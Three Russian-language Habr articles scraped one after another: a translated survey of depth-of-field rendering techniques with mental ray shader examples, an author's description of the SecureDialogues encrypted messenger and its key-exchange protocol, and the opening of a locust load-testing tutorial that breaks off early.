В отличии от человеческого глаза, компьютер рендерит всю сцену в фокусе. И камера, и глаз же имеют ограниченную глубину резкости вследствие конечного диаметра апертуры зрачка или объектива. Для достижения большего фотореализма рекомендуется использовать эффект глубины резкости в изображениях, получаемых на компьютере. Кроме того, управление глубиной резкости помогает раскрыть художественный замысел автора, выделив важный по смыслу объект.
До сих пор задача изображения реалистичной глубины резкости в компьютерной графике полностью не решена. Существует множество решений, обладающих плюсами и минусами, применимых в разных случаях. Мы рассмотрим самые популярные на сегодняшний момент.
В оптике
--------
Свет, преломляясь в линзе, формирует изображение на светочувствительном элементе: плёнка, матрица, сетчатка. Чтобы света в камеру проникло достаточное количество, входная апертура (диаметр светового пучка на входе в оптическую систему) должна быть достаточного размера. Лучи от одной точки в пространстве всегда сходятся ровно в одну точку за линзой, но эта точка не обязательно совпадает с выбранной картинной плоскостью (полскостью сенсора). Поэтому изображения имеют ограниченную глубину резкости — то есть, объекты будут тем более размытыми, чем больше разница расстояния от объекта до линзы и фокусного расстояния. В результате, точку, находящуюся на определённом расстоянии, мы увидим как размытое пятно: пятно рассеяния (Circle of Confusion, CoC). Радиус размытия вычисляется по определённому закону:
Определение диаметра размытия (более подробно см. [в Википедии](http://en.wikipedia.org/wiki/Depth_of_field#Foreground_and_background_blur)).
Методы, применяемые в рендерерах, используют модель [камеры-пинхола](http://en.wikipedia.org/wiki/Pinhole_camera) (в которой входная апертура → 0, а следовательно, все объекты будут в фокусе). Симуляция апертуры конечного размера и, следовательно, глубины резкости, требует дополнительных усилий.
Точка в сцене проецируется на картинную плоскость в виде пятна рассеяния.
Общий обзор
-----------
Способы реализации глубины резкости можно разделить на две большие группы: методы пространства объектов (object space) и методы пространства изображения (image space).
Методы пространства объектов работают с 3D-представлением объектов сцены и таким образом применяются во время рендера. Методы пространства изображения, также известные как методы постобработки (postprocess), оперируют с растровыми изображениями, полученными при помощи стандартной модели камеры-пинхола (полностью в фокусе). Для достижения эффекта глубины резкости эти методы размывают участки изображения, учитывая карту глубины (depth map). Вообще, методы пространства объектов способны выдать более физически точный результат и обладают меньшим числом артефактов, нежели методы пространства изображения, в то время как методы пространства изображения значительно быстрее.
Методы пространства объектов бывают основаны или на геометрической оптике, или на волновой оптике. В большинстве приложений используется геометрическая оптика, чего достаточно для достижения подавляющего большинства целей. Однако в расфокусированных изображениях не последнюю роль могут играть дифракция и интерференция; для их учёта и необходимо применять законы волновой оптики.
Методы пространства изображения можно разделить на применяемые к генерируемым изображениям и применяемые в цифровой фотографии. Традиционные техники постобработки требуют наличия карты глубины, в которой содержится информация об отдалённости точки изображения от камеры, но такую карту сложно получить для фотографий. Существует интересная техника световых полей, позволяющая выполнять размытие объектов не в фокусе без карты глубины. Недостаток технологии в том, что она требует специального оборудования, но получаемые изображения не имеют ограничения на сложность сцены.
Методы пространства объектов (object space approaches)
------------------------------------------------------
### Распределённая трассировка лучей (distributed ray tracing)
Метод напрямую симулирует геометрическую оптику. Вместо трассировки одного луча на семпл (в оригинале — пиксель, но я счёл это неуместным, т.к. количество просчитанных лучей будет изменяться в зависимости от настроек AA и редко когда равняется одному пикселю), что симулирует камеру-пинхол, надо выбрать несколько лучей, чтобы получить аналог изображения, полученного на камеру с конечной апертурой. Лучи для каждого семпла исходят из одной точки на картинной плоскости, но направлены в разные участки линзы. После преломления линзой луч испускается в сцену.
Из описания видно, что изображение формируется, учитывая физические законы оптики (исключая волновую). Поэтому изображения, полученные таким способом, довольно реалистичные и считаются «золотым стандартом», по которому можно проверять методы постобработки. Недостаток метода очевиден: для каждого семпла следует просчитать количество лучей, достаточное для получения качественного размытия, соответственно, время рендера увеличивается. Если требуется получить малую глубину резкости, потребуется увеличение времени рендера в сотни или тысячи раз. При использовании недостаточного числа дополнительных лучей в размытых областях появится шум.
Метод реализован в шейдере mia\_lens\_bokeh:
```
// параметры шейдера
struct depth_of_field {
miScalar focus_plane_distance;
miScalar blur_radius;
miInteger number_of_samples;
};
miBoolean depth_of_field (
miColor *result, miState *state, struct depth_of_field *params )
{
// получаем параметры
miScalar focus_plane_distance = *mi_eval_scalar(¶ms->focus_plane_distance);
miScalar blur_radius = *mi_eval_scalar(¶ms->blur_radius);
miUint number_of_samples = *mi_eval_integer(¶ms->number_of_samples);
miVector camera_origin, camera_direction, origin, direction, focus_point;
double samples[2], focus_plane_z;
int sample_number = 0;
miColor sum = {0,0,0,0}, single_trace;
// переводим в другую систему координат
miaux_to_camera_space(state, &camera_origin, &camera_direction);
// ищем точку пересечения
focus_plane_z = state->org.z - focus_plane_distance;
miaux_z_plane_intersect(&focus_point, &camera_origin, &camera_direction, focus_plane_z);
// считаем заданное количество семплов
while (mi_sample(samples, &sample_number, state, 2, &number_of_samples)) {
miaux_sample_point_within_radius(&origin, &camera_origin, samples[0], samples[1], blur_radius);
mi_vector_sub(&direction, &focus_point, &origin);
mi_vector_normalize(&direction);
miaux_from_camera_space(state, &origin, &direction);
mi_trace_eye(&single_trace, state, &origin, &direction);
miaux_add_color(∑, &single_trace);
}
// нормализуем результат
miaux_divide_color(result, ∑, number_of_samples);
return miTRUE;
}
```
Результат применения шейдера (код взят из [мануала mental ray](http://www.writingshaders.com/lecture_slides/WMRS_part6_image_april_2008.pdf), картинка оттуда же).
### Реалистичные модели камеры (realistic camera models)
В предыдущем методе преломнелие в линзе рассчитывалось по одному закону. Однако же, это не всегда так. Объективы состоят из групп линз, обладающих разными свойствами:
Группы линз в объективе (картинка Pat Hanrahan).
Оптические спецификации объектива, предоставляемые производителями, корректно реализуются в виде математической модели. Модель включает в себя симуляцию групп линз и предоставляет также модель выходного отверстия (в пределах которого рендерер будет испускать лучи для одного семпла). Попадающие в выходное отверстие лучи просчитываются, учитывая оптические свойства групп линз, через которое они проходят.
Метод позволяет физически корректно симулировать как глубину резкости, так и искажения, вносимые линзой.
Объективы с разным фокусным расстоянием: с изменением фокусного расстояния и модели линзы меняется перспектива и могут появляться искажения (например, как на верхней картинке) — картинка Pat Hanrahan.
Пример шейдера, реализующего объектив-фишай:
```
struct fisheye {
miColor outside_color;
};
miBoolean fisheye (miColor *result, miState *state, struct fisheye *params )
{
miVector camera_direction;
miScalar center_x = state->camera->x_resolution / 2.0;
miScalar center_y = state->camera->y_resolution / 2.0;
miScalar radius = center_x < center_y ? center_x : center_y;
miScalar distance_from_center = miaux_distance(center_x, center_y, state->raster_x, state->raster_y);
if (distance_from_center < radius) {
mi_vector_to_camera(state, &camera_direction, &state->dir);
camera_direction.z *= miaux_fit(distance_from_center, 0, radius, 1, 0);
mi_vector_normalize(&camera_direction);
mi_vector_from_camera(state, &camera_direction, &camera_direction);
return mi_trace_eye(result, state, &state->org, &camera_direction);
} else {
*result = *mi_eval_color(¶ms->outside_color);
return miTRUE;
}
}
```
Результат применения шейдера (код взят из [мануала mental ray](http://www.writingshaders.com/lecture_slides/WMRS_part6_image_april_2008.pdf), картинка оттуда же).
### Буфер накопления (accumulation buffer)
Для достижения эффекта глубины резкости также можно использовать буфер накопления. Рендерится несколько кадров, после чего, усредняя их, мы получаем искомое изображение. Метод очень похож на распределённую трассировку лучей, но быстрее его, т.к. рендериг происходит при помощи аппаратных средств. Однако же, в первом методе мы можем адаптивно контролировать количество семплов и получить картинку приемлемого качества, используя меньше семплов. Метод применим только там, где можно отреднерить сцену аппаратно.
### Симуляция распространения волн (wawe propagation)
Все методы, рассмотренные выше, используют законы геометрической оптики, игнорируя дифракцию и интерференцию. Если в сцене есть несколько точечных источников, излучающих свет определённой длины волны, можно отследить распространение световых волн в пространстве. Картинная плоскость располагается на определённом расстоянии и для определения значения семпла учитывается вклад от всех волн, испускаемых источниками. Вычисления можно производить в частотном домене, используя преобразование Фурье.
### Разброс (splatting) [Krivanek]
При рендере сцена представляется не как набор геометрических примитивов с текстурами, а в виде набора точек. Точки разбрасываются по определённому закону, чаще всего по Гауссовскому. Для достижения большей скорости, при разбросе точек используется операция свёртки, учитывающая функцию размытия точки (point spread function, PSF). В случае размытия по Гауссу, параметром PSF является стандартное отклонение.
Полученные точки хранятся в дереве и при выборе точки из размытой области поиск производится в определённом радиусе. Это позволяет просчитывать меньшее количество семплов в расфокусированных областях изображения.
Логично предположить, что довольно жёстким ограничением метода является возможность представления сцены в требуемом виде.
Изображение, полученное методом разброса. В размытых областях плотность семплирования меньше (картинка Jaroslav Krivanek).
### Аналитическая видимость (analytical visibility) [Catmull]
Имея трёхмерную сцену, можно аналитически определить, какие объекты находятся вне фокуса. Для таких объектов берётся меньшее число семплов, в результате они выглядят размытыми. Метод позволяет получить точные изображения без шума, в отличие от распределённой трассировки лучей.
Методы пространства изображения (image-space approaches)
--------------------------------------------------------
Идеальный метод постобработки должен обладать следующими свойствами: * Выбор функции разброса точки (point spread function, PSF)
Вид размытия зависит от PSF, определяющей, какое пятно рассеяния мы получим от одной точки. Так как в разных оптических системах данная характеристика будет разной, хороший метод должен позволять выбрать вид PSF.
Разные PSF позволяют получить разный характер размытия.
* Попиксельный контроль над размытием
В каждой точке изображения размер и характер пятна рассеяния отличается. Обычно методы пост-обработки не позволяют изменять характер размытия в зависимости от положения точки. Это обусловлено ещё и тем, что часто в методах используются или сепарабельные фильтры, или преобразование Фурье, что делает подобный выбор затруднительным для реализации.
На первом изображении PSF одинаковая; на втором меняется, что более точно симулирует ~~Гелиос-44~~ особенности некоторых линз.
* Отсутствие артефактов нехватки интенсивности (intensity leakage artifacts)
Размытый объект на заднем плане никогда не заходит за границы объекта в фокусе. Однако примитивные линейные фильтры могут не учитывать этот факт; проявляемые в результате этой ошибки артефакты нехватки интенсивности уменьшают реалистичность изображения.
На изображении зелёная фигура в фокусе, следовательно, размытие объекта на заднем плане не должно распространяться на её.
* Отсутствие артефактов, обусловленных ненепрервыной глубиной (depth discontinuity artifacts)
В реальности размытие объекта на переднем плане будет мягким, у объекта не будет видимого жёсткого контура. Часто фильтры размывают объект так, что он одновременно имеет и размытие, и силуэт, что неправильно. Такое поведение обусловлено особенностями сглаживания карты глубины, в результате чего на границе объекта глубина меняется ступенчато (и получается, что на краю объекта, как и за его пределами, пиксели смешанных цветов).
Результат применения разных фильтров. Из-за того, что изображение (beauty map) сглажено, а карта глубины (depth map) — нет, могут возникнуть подобные артефакты.
* Корректная симуляция частичного пересечения объектов (partial occlusion)
В реальности у расфокусированных объектов на переднем плавно размытые границы, через которые видно объекты, находящиеся сзади. Этот эффект называется частичным пересечением, потому что задний объект только частично заблокирован передним. Эти видимые участки объекта на заднем плане мы бы не смогли увидеть, если бы мы смотрели через камеру-пинхол. Геометрическое объяснение эффекта см. на рисунке. Т.к. методы постобработки работают с изображениями, полученными на камеру-пинхол, симуляция частичного пересечения — сложная задача: цвет невидимых точек надо экстраполировать по имеющимся данным.
Частичное пересечение объектов (картинка Barsky).
* Высокая производительность
Производительность фильтров, применяемых «напрямую» в пространстве изображения (имеется в виду самая простая реализация фильтра), падает с ростом радиуса размытия. Для больших радиусов процесс может длиться несколько минут. В идеале хочется, чтобы фильтр можно было применять в реальном времени, что не всегда возможно.
### Линейная фильтрация (linear filtering) [Potmesil и Chakravarty]
Один из первых методов получения DoF на этапе постобработки. В зависимости от глубины точки (определяется по карте глубины) меняются параметры функции размытия (PSF). Чем больше радиус PSF, тем более низкая производительность фильтра. Фильтр можно выразить формулой:
где B — размытое изображение, psf — ядро фильтра, x и y — координаты в выходном изображении, S — исходное изображение, i и j — координаты во входном изображении.
PSF может в некотором смысле учитывать оптические эффекты, такие как дифракцию и интерференцию. Недостатки метода: нехватка интенсивности, ненепрерывная глубина.
### Буфер распределения лучей (ray distribution buffer) [Shinya]
В методе предлагается учитывать видимость объектов, тем самым мы можем избавиться от нехватки интенсивности. Вместо создания размытого изображения, сначала для каждой точки создаётся буфер распределения лучей, исходящих из неё. В такой буфер входят возможные координаты, в какие может прийти свет от точки, с глубиной. После просчёта буферов распределения лучей для всех точек вычисляется среднее значение цвета. Метод работает с видимостью объектов достаточно корректно, но требует больше памяти и вычислений, в сравнении с линейной фильтрацией. Заметим, что набор карт, полученных методом RDB, называется световым полем (light field).
### Послойная глубина резкости (layered DoF) [Scofield]
Метод предназначен для частного случая расположения объектов: объекты должны быть параллельны картинной плоскости. Объекты делятся на слои, слои размывается по отдельности в частотном домене (используя быстрое преобразование Фурье). FFT позволяет использовать PSF больших радиусов без влияния на производительность. Метод не имеет недостатка нехватки интенсивности и работает очень быстро, но область его применения сильно ограничена.
### Пересечение и дискретизация (occlusion and discretization) [Barsky]
Ограничение, накладываемое предыдущим методом, очень строгое. Изображение делится на слои, таким образом глубина семплов изображения округляется до выбранной глубины ближайшего слоя. Полученное изображение будет иметь артефакты дискретизации в форме полос или жёстких границ по линиям пересечения слоёв. В данном методе проблема таких артефактов решается при помощи использования ID объектов, полученных методом нахождения границ (или по карте ObjectId). Если один объект принадлежит двум слоям, слои объединяются. Ещё одна проблема метода — частичное пересечение. Для размытия объектов на заднем плане используется аппроксимация по видимым семплам.
На верхнем изображении видны чёрные полосы — артефакты, происходящие от применения послойного размытия без использования ObjectId (картинка Barsky).
### Размытие, учитывающее особенности глаза человека (vision-realistic rendering) [Kolb]
Глаз человека сложно описать в виде аналитической модели, состоящей из нескольких линз — как это можно сделать для объектива. В данном методе при помощи специального прибора, называемого wavefront aberrometer (я не решился это перевести) определяется набор PSF, соответствующих глазу человека. Далее используется размытие по слоям в соответствии с полученными PSF. Метод позволяет получать изображения, видимые людьми с заболеваниями зрения.
Изображение, учитывающее особенности глаза человека, больного кератоконусом (картинка Barsky).
### Упорядочение по важности (importance ordering) [Fearing]
Метод работает аналогично механизму antialiasing-а рендереров: сначала формируется изображение с низким разрешением, после чего семплы, рядом с которыми изменение цвета превышает порог, обрабатываются на следующей итерации и для получения пикселя итогового изображения берётся больше семплов исходного изображения, и так далее. Таким образом, метод достигает лучшего качества за меньшее время.
### Гибридный перцептивный метод (perceptual hybrid method) [Mulder и van Lier]
Особенности восприятия изображения человеком таковы, что детали в центре более важны, чем детали по краям изображения. Центр изображения можно размыть более медленным и точным способом, в то время как для периферии используется быстрая аппроксимация размытия. Для быстрого размытия используется пирамида Гаусса, уровень размытия выбирается в зависимости от глубины пикселя; результат обладает артефактами.
### Повторяемая свёртка (repeated convolution) [Rokita]
Метод предназначен для быстрого применения в интерактивных приложениях. Работает на аппаратных устройствах, где можно эффективно реализовать операцию свёртки с ядром размера 3x3 пикселя. Свёртка выполняется несколько раз, тем самым достигается большая величина размытия. Производительность падает с ростом радиуса размытия. На PSF накладывается ограничение: она должна быть Гауссовской.
### Глубина резкости на GPU [Scheueremann and Tatarchuk]
Глубину резкости можно считать и на GPU. Один из методов преложили Scheueremann и Tatarchuk.
Учитывая глубину пикселя, по законам оптики определяем величину пятна рассеяния, и в пределах пятна выбираем семплы, которые и формируют цвет пикселя в результате. В целях оптимизации памяти, в участках изображения, где CoC имеет большой радиус, берутся пиксели не входного изображения, а уменьшенного в несколько раз. Для уменьшения количества артефактов нехватки интенсивности, в расчёт берётся ещё и глубина пикселей. Метод обладает артефактам ненепрервыности глубины.
### Интегральная матрица (summed area table) [Hensley]
В качестве альтернативы семплирования в пределах CoC, усреднённый цвет области пикселей изображения можно найти, используя интегральную матрицу (SAT). В данном случае скорость вычислений высока и не падает с увеличением радиуса размытия, к тому же нет необходимости в генерации изображения меньшего разрешения. Изначально метод предназначался для сглаживания текстур, но в дальнейшем был адаптирован и для глубины резкости, в том числе и на GPU. Метод обладает практически всеми видами артефактов.
### Метод пирамид (pyramidal method) [Kraus и Strengert]
Сцена разделяется на слои, в зависимости от глубины. Пиксели, находящиеся близко к границе слоёв, относятся не к ближайшему слою, а частично к нескольким слоям: таким образом исключаются артефакты дискретизации на границах слоёв. Затем экстраполируются значения пикселей, отсутствующих в слоях (тех, которые закрыты объектами на переднем плане). После этого каждый слой размывается [методом пирамид](http://www.jvrb.org/past-issues/6.2009/1821/), для исключения артефактов используется вес точки. Полученные слои смешиваются с учётом прозрачности слоёв. Метод быстрее послойных методов, использующих FFT, но накладывает ограничения на используемую PSF.
Изображение было размыто с использованием метода пирамид (картинка Magnus Strengert).
### Сепарабельное размытие (separable blur) [Zhou]
Точно так же, как и в методах классического размытия, не учитывающего глубину (box blur, gaussian blur), в расчёте глубины резкости можно применять сепарабельные PSF. Сначала изображение размывается по горизонтали, затем по вертикали — в результате мы получаем скорость, зависимую не от площади пятна не резкости, а от его диаметра. Метод поддаётся реализации на GPU и может быть применён в реальном времени. Идея применения сепарабельных функций проиллюстрирована на рисунке:
При сепарабельном размытии производительность зависит не от площади PSF, а от её диаметра.
Стоит заметить, что в другой работе Barsky подчёркивает, что правильное размытие, учитывающее глубину, не может быть сепарабельным: при использовании этого метода в некоторых случаях возможны артефакты.
### Симуляция рассеяния тепла (simulated heat diffusion) [Barsky, Kosloff, Bertalmio, Kass]
Рассеяние тепла — физический процесс, в котором тоже можно наблюдать размытие (хотя он и не связан с оптикой). Если в веществе-проводнике тепла температура распределена неравномерно, со временем мы будем наблюдать размытие. Дифференциальные уравнения, описывающие эффект такого размытия, можно использовать для симуляции глубины резкости. Даже для достаточно больших радиусов размытия метод может быть применён на GPU в реальном времени.
Карта position map, используемая вместо карты глубины в этом методе, содержит информацию о трёх измерениях точки, а не только о глубине (картинка Barsky).
### Обобщённая и семантическая глубина резкости
До сих пор мы описывали методы, симулирующие глубину резкости так, как это происходит в природе. Однако размытие может быть и не таким, как мы привыкли его наблюдать. В компьютерной графике мы не ограничены физически реализуемыми моделями линз, поэтому область размытия может быть задана произвольно — например, мы можем выделить из толпы несколько человек. Метод можно реализовать как вариацию метода симуляции рассеяния тепла, используя в качестве карты размытия законы, отличные от физических.
Физически неправильное размытие (картинка Kosloff и Barsky)
Световые поля (light fields)
----------------------------
Световые поля изначально были описаны как метод, описывающий изображение сцены с разных точек, не зависящий от сложности сцены. Стандартный способ кодирования световых полей — двухплоскостная параметризация (two-plane parametrization). Выбираются две параллельные плоскости; каждый луч описывается точкой на обеих плоскостях. В результате получается четырёхмерная структура данных. С полученными данными можно производить манипуляции, такие как изменение плоскости фокусировки или глубины резкости.
Можно сказать, что в камерах световое поле (между плоскостями линзы и матрицы) интегрируется естественным путём: мы не различаем, из какой точки линзы пришёл луч света. Однако если учитывать это, мы сможем интерактивно, имея описанную структуру данных, управлять глубиной резкости уже после снятия показаний сенсора.
Кроме того, мы можем сфокусироваться на разных участках изображения, применяя быстрое преобразование Фурье в четырёхмерном пространстве.
В изображениях, генерируемых на компьютере, легко получить данные светового поля, отрендерив сцену с разных ракурсов.
Существуют камеры (физические), способные записывать световые поля. Перед сенсором располагаются микролинзы, разделяющие свет, пришедший из разных направлений. Таким образом, в отличие от классической камеры, свет не суммируется в одной точке, а распределяется в зависимости от направления. По данным сенсора уже на этапе обработки можно выбрать объект в фокусе и размер размытия.
Световое поле: маленькая часть RAW-изображения с сенсора Lytro. Мы видим микролизны, расположенные перед матрицей.
### Пятнистия (dappled) фотография
Способ, описанный выше, требует много точек матрицы для кодирования одного пикселя, следовательно, обладает низким разрешением. Действительно, разрешение этой камеры где-то 800 пикселей по большей стороне при матрице 11MPix. Проблема может быть решена использованием сенсоров с очень высоким разрешением (но это приведёт к удорожанию сенсоров и запредельно большому размеру структуры данных).
Пятнистая фотография предлагает альтернативный способ получения светового поля, обходящий ограничение на размер матрицы. Вместо большого числа микролинз используется полупрозрачная маска, изменяющая свет по определённому закону. Применяя обратное преобразование Фурье, можно получить исходное световое поле.
### Увеличение расфокусировки (defocus magnification)
Хорошо было бы уметь применять эффект глубины резкости и в «обычной» фотографии, без светового поля (где, в отличие от рендера, нет карты глубины). Данный метод предполагает определение размытия и его увеличение (в методе предполагается, что размытие в фотографии уже есть, но недостаточное — например, фотография сделана на мыльницу, где из-за размера матрицы невозможно достичь большого радиуса размытия). Чем больше размытие, уже присутствующее в изображении, тем ещё большее размытие будет применено дополнительно.
### Автофокус
При использовании глубины резкости в приложениях виртуальной реальности и видеоиграх, так же как и в фотографии, необходим автофокус, то есть задача определения глубины, пиксели на которой находятся в фокусе. В центре изображения выделяется область, семплы из этой области участвуют в определении глубины фокусировки. В расчёт берётся как средневзвешенное значение глубины, так и известная для изображаемых объектов присущая им важность (скажем, можно сфокусировать «взгляд» на одном их персонажей, но нельзя на деревянном ящике или стене) — это называется семантический вес объекта. Также необходимо учитывать процесс аккомодации взгляда (фокусировка меняется во времени плавно), для этого используется, например, low-pass фильтр.
Заключение
----------
Мы рассмотрели большинство из наиболее распространённых методов, применяемых для достижения эффекта глубины резкости в современной компьютерной графике. Некоторые из них работают с 3D-объектами, некоторые являются методами постобработки. Мы также описали основные характеристики, которым должны удовлетворять правильные методы.
В настоящее время проблема эффективного достижения фотореалистичной глубины резкости до сих пор открыта. Кроме того, открыта и проблема воссоздания карты глубины по фотографии (определения расстояния до объекта).
Ссылки
------
**Ссылки на почитать**[Остальные работы Brian A.Barsky](http://www.cs.berkeley.edu/~barsky/vis.sci.pubs.html)
[Accurate Depth of Field Simulation in Real Time (Tianshu Zhou, Jim X. Chen, Mark Pullen)](http://onlinelibrary.wiley.com/doi/10.1111/j.1467-8659.2007.00935.x/full) — один из методов расчёта DoF
[An Algorithm for Rendering Generalized Depth of Field Effects Based on Simulated Heat Diffusion (Todd Jerome Kosloff, Brian A. Barsky)](http://www.eecs.berkeley.edu/Pubs/TechRpts/2007/EECS-2007-19.pdf) — полное описание рассмотренного выше метода
[Investigating Occlusion and DiscretizationProblems in Image Space Blurring T echniques (Brian A. Barsky, Michael J. Tobias, Daniel R. Horn, Derrick P. Chu)](http://graphics.berkeley.edu/papers/Barsky-IOA-2003-07/Barsky-IOA-2003-07.pdf) — описание ещё одного метода
[Quasi-Convolution Pyramidal Blurring (Martin Kraus)](http://www.jvrb.org/past-issues/6.2009/1821/) — метод пирамид
[Focus and Depth of Field (Frédo Durand, Bill Freeman)](http://groups.csail.mit.edu/graphics/classes/CompPhoto06/html/lecturenotes/22_DepthDefocus_6.pdf) — понятия и определения, имеющие отношение к глубине резкости: cheat sheet. Много полезных формул в одном месте.
От переводчика
--------------
Эту и остальные работы Brian A. Barsky (университет Беркли) можно почитать [на его сайте](http://www.cs.berkeley.edu/~barsky/). Везде, где встречаются какие-то термины и общеизвестные названия алгоритмов, я оставил их в скобках на английском, фамилии не переводил. Если где-то неправильно перевёл — пишите в личку, поправлю (я изучал всю терминологию на английском, поэтому могу ошибаться с переводом). В [квадратных скобках] после названий методов указаны имена работавших над ними. Ради наглядности и интереса я дополнил публикацию примерами и некоторыми картинками. | https://habr.com/ru/post/146136/ | null | ru | null |
# Шифрование сообщений в SecureDialogues
Шифрование, цифровая подпись, защита данных — термины довольно распространенные среди IT-специалистов.
Уже написано очень много интересных публикаций, статей и книг на эти темы. После прочтения одной из них, я решил попробовать свои силы на практике. Так и родился проект, о котором речь пойдет ниже.
Краткое описание приложения
---------------------------
Приложение [SecureDialogues](https://github.com/sqglobe/SecureDialogues) добавляет уровень шифрования сообщений, которые передаются через такие сервисы, как **Gmail**. Приложение **само** выполняет авторизацию для настроенных сервисов по протоколу [OAuth2](https://ru.wikipedia.org/wiki/OAuth), принимает и отправляет сообщения. По своей сути — это **обычный мессенджер**, который обеспечивает криптографическую защиту сообщениям, разве что для передачи может использоваться один из нескольких **сторонних сервисов**.
Данные на жестком диске шифруются по алгоритму [AES](https://ru.wikipedia.org/wiki/Advanced_Encryption_Standard) **256**-битным ключом, который извлекается из пароля, введенного при запуске, для цифровой подписи используется [RSA](https://ru.wikipedia.org/wiki/RSA). Сообщения пользователей кодируются [сеансовым](https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D0%B0%D0%BD%D1%81%D0%BE%D0%B2%D1%8B%D0%B9_%D0%BA%D0%BB%D1%8E%D1%87) **256**-битным ключом [AES](https://ru.wikipedia.org/wiki/Advanced_Encryption_Standard).
Исходные коды доступны [по ссылке](https://github.com/sqglobe/SecureDialogues), [**wiki** проекта](https://github.com/sqglobe/SecureDialogues/wiki).
Доступен запуск приложения в контейнере **docker**, [подробнее по ссылке](https://github.com/sqglobe/SecureDialogues/wiki/docker).
Цель создания
-------------
Приложение создавалось с вполне конкретной целью — мне было интересно поработать с криптографией на практическом проекте. Причем не в каком-то простом, вроде "сюда вставьте текст, а вот здесь возьмите закодированное сообщение", а в таком, чтобы была и **цифровая подпись**, и **ассиметричное шифрование**, и **сеансовые ключи** и прочие интересные вещи. Поэтому был выбран проект мессенджера.
В отсутствии всей необходимой инфраструктуры для передачи сообщений, эта функция делегируется уже существующим сервисам вроде **Gmail** или **ВКонтакте**.
Описание интерфейса
-------------------
При первом запуске приложение попросит Вас ввести пароль:
Данный пароль используется для шифрования данных, которые хранятся на жестком диске, таких как: ключи [RSA](https://ru.wikipedia.org/wiki/RSA), токены авторизации для [OAuth2](https://ru.wikipedia.org/wiki/OAuth), данные о сервисах и контактах.
**Сообщения** и информация о **диалогах** **не сохраняется**, то есть при завершении приложения данные о полученных сообщениях и открытых диалогах теряются.
При последующих запусках приложение так же запрашивает пароль, чтобы расшифровать и загрузить сохраненные ранее данные.
Вид главного окна приложения:
Перед тем, как Вы сможете отправить первое сообщение, необходимо выполнить два шага:
* Настроить подключение к **сервису** для передачи сообщения ([подробнее на wiki](https://github.com/sqglobe/SecureDialogues/wiki/%D0%A1%D0%B5%D1%80%D0%B2%D0%B8%D1%81%D1%8B));
* Добавить **контакт** собеседника ([подробнее на wiki](https://github.com/sqglobe/SecureDialogues/wiki/%D0%9A%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D1%8B));
Самое главное, из-за чего **контакт** добавляется до начала обмена — это **публичный ключ**. Каждое сообщение, которое пересылается между пользователями обязательно подписывается отправителем. Если получатель не смог проверить цифровую подпись с помощью публичного ключа, то такое сообщение отбрасывается.
Также публичный ключ используется для шифрования сессионного ключа.
После того, как все предварительные этапы пройдены, можно начать диалог. Для этого в главном окне приложения есть соответствующая кнопка ([подробнее на wiki](https://github.com/sqglobe/SecureDialogues/wiki/%D0%94%D0%B8%D0%B0%D0%BB%D0%BE%D0%B3)). Во время создания диалога **генерируется** сессионный **ключ**, которым будет **шифроваться** все сообщения в рамках этого диалога.
Все диалоги отображаются в главном окне слева. После того, как Ваш собеседник подтвердил создание диалога, можно будет отправлять и принимать в нем сообщения:
Чтобы отправить или прочитать сообщения в нужном диалоге, его нужно выбрать щелчком левой кнопки мыши.
Сообщения удаленного пользователя отображаются слева, а Ваши — справа. Если сообщение еще не доставлено, то оно отображается серым:
Приложение сортирует список диалогов в следующем порядке — в самом верху будут активные диалоги, для которых разрешена отправка сообщений, а в самом низу — закрытые. Так же на порядок влияет время изменения диалога. Активный диалог, который последним получил сообщение будет выше всех, а первый закрытый — внизу. Для каждого диалога показывается индикатор количества непрочитанных сообщений, при их наличии:
Статус диалога выделяется цветом:
* **красным** отмечаются закрытые диалоги
* **зеленым** показаны активные диалоги, для них возможно отправлять сообщения
* **серые** диалоги находятся в процессе создания.
Вот пример того, как выглядит простое сообщение с текстом **hellow world!**:
Сигнальный обмен
----------------
Обмен сообщениями между собеседниками **A** и **B** состоит из следующих этапов:
* сторона **A** генерирует команду на создание диалога (`CREATE_DIALOG`) и подписывает ее своим закрытым ключом;
* сторона **B** запрашивает у пользователя согласие на создание диалога, и, если пользователь согласен, то генерируется сеансовый ключ **T** и случайная строка **R**, которые по отдельности шифруются публичным ключом **A** и помещаются в тело сообщения (`VERIFY_KEY`). Все сообщение подписывается приватным ключом **B**.
* сторона **A** дешифрует сеансовый ключ и случайную строку, шифрует случайную строку сеансовым ключом, добавляет результат в тело сообщения `KEY_VERIFICATION`. Подписывает все сообщение своим закрытым ключом.
* сторона **B** дешифрует случайную строку, проверят на соответствие результата строке **R**, если все верно, то отсылается подписанное сообщение `ACCEPT_DIALOG`, которое означает, что диалог установлен и далее возможен обмен сообщений.
Успешное установление диалога и сигнальный обмен показаны на рисунке:
Дальнейшее развитие проекта
---------------------------
На данный момент приложение уже предоставляет базовые возможности по шифрованию сообщений и проверке подлинности посредством цифровой подписи. Но список поддерживаемых сервисов крайне маленьким.
В дальнейшем планируется его увеличить. Уже ведется работа по включению в него **ВКонтакте**.
Так же в проекте увеличение информативности пользовательского интерфейса, вроде добавления статуса подключения к сервису (активно, ошибка подключения и пр).
Алгоритм проверки дублирующихся сообщений работает не самым лучшим образом, планируется его доработка. | https://habr.com/ru/post/452736/ | null | ru | null |
# Нагрузочное тестирование с locust
Нагрузочное тестирование не так сильно востребовано и распространено, как иные виды тестирования — инструментов, позволяющих, провести такое тестирование, не так много а простых и удобных вообще можно пересчитать на пальцах одной руки.
Когда речь заходить о тестировании производительности — в первую очередь все думают о JMeter’е — он бесспорно остается самым известным инструментом с самым большим количеством плагинов. Мне же JMeter никогда не нравился из-за неочевидного интерфейса и высокого порога вхождения, как только возникает необходимость протестировать не Hello World приложение.
И вот, окрыленный успехом проведения тестирования в двух различных проектах, решил поделится информацией об относительно простом и удобном софте — [Locust](https://locust.io)
Для тех, кому лень идти под кат, записал видео:
Что это?
--------
Опенсорс тул, позволяющий задать сценарии нагрузки Python кодом, поддерживающий распределенную нагрузку и, как уверяют авторы, использовался для нагрузочного тестирования Battlelog для серии игр Battlefild (сразу подкупает)
Из плюсов:
* простая документация, включая copy-paste пример. Можно начать тестить, даже почти не умея программировать
* “Под капотом” использует библиотеку [requests](http://docs.python-requests.org/) (HTTP для людей). Ее документацию можно использовать как расширенную шпаргалку и дебажить тесты
* поддержка Python — мне просто нравится язык
* Предыдущий пункт дает кроссплатформенность для запуска тестов
* Собственный веб сервер на [Flask](http://flask.pocoo.org/) для отображения результатов тестирования
Из минусов:
* Никаких Capture & Replay — все руками
